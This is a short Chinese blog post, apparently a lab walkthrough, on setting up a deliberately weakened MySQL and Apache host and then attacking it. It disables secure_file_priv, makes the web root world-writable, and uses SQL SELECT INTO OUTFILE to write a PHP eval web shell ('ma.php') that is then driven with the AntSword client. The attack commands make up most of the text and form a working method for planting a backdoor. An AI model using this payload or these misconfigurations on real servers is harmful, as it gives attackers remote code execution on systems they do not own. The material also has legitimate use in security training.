MySQL靶场&攻击

靶场搭建

修改配置文件

复制代码
vim /etc/my.cof

[mysqld]
secure_file_priv=
local-infile=1
[mysql]
local-infile=1

安装相关环境

复制代码
yum install php php-mysql -y

添加配置

复制代码
vim /etc/httpd/conf/httpd.conf

AddType application/x-httpd-php-source .phps
AddType application/x-httpd-php .php

重启相关服务

复制代码
systemctl restart httpd

修改权限

复制代码
chmod -R o+w /var/www

攻击

复制代码
use TEST;
show tables;
create table muma(cmd text);
insert into muma values(concat('<?php @eval($_POST[','''','mimi','''',']); ?>'));
select * from muma;
select * from muma into outfile '/var/www/html/ma.php';

访问 IP/ma.php

蚁剑连接

作 者:PeiyuJue

链 接: https://peiyu.serv00.net/2024/07/05/mysql靶场攻击/

来 源:Aaron的博客

版 权 声 明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有,未经允许请勿转载!

相关推荐
阿里小阿希4 小时前
Vue3 + Element Plus 项目中日期时间处理的最佳实践与数据库设计规范
数据库·设计规范
骥龙4 小时前
零信任架构:重塑现代企业安全基石
安全·架构
且行志悠5 小时前
Mysql的使用
mysql
白鹭5 小时前
MySQL源码部署(rhel7)
数据库·mysql
666和7775 小时前
Struts2 工作总结
java·数据库
还听珊瑚海吗5 小时前
SpringMVC(一)
数据库
wanhengidc6 小时前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
码熔burning6 小时前
Spring Security 深度学习(六): RESTful API 安全与 JWT
安全·spring·restful·springsecurity